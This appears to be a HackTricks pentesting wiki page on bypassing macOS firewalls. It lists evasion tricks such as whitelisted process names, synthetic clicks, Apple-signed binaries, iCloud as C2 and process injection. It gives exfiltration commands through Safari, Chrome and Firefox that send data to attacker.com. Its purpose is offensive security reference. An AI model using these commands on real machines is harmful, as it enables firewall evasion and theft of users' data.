# macOS Bypassing Firewalls
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## Found techniques
The following techniques were found working in some macOS firewall apps.
### Abusing whitelist names
* For example calling the malware with names of well known macOS processes like **`launchd`**
### Synthetic Click
* If the firewall ask for permission to the user make the malware **click on allow**
### **Use Apple signed binaries**
* Like **`curl`**, but also others like **`whois`**
### Well known apple domains
The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
### Generic Bypass
Some ideas to try to bypass firewalls
### Check allowed traffic
Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### Abusing DNS
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
### Via Browser apps
* **oascript**
```applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```
* Google Chrome
{% code overflow="wrap" %}
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
{% endcode %}
* Firefox
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
* Safari
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### Via processes injections
If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
{% content-ref url="macos-proces-abuse/" %}
[macos-proces-abuse](macos-proces-abuse/)
{% endcontent-ref %}
## References
* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
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Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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.png)
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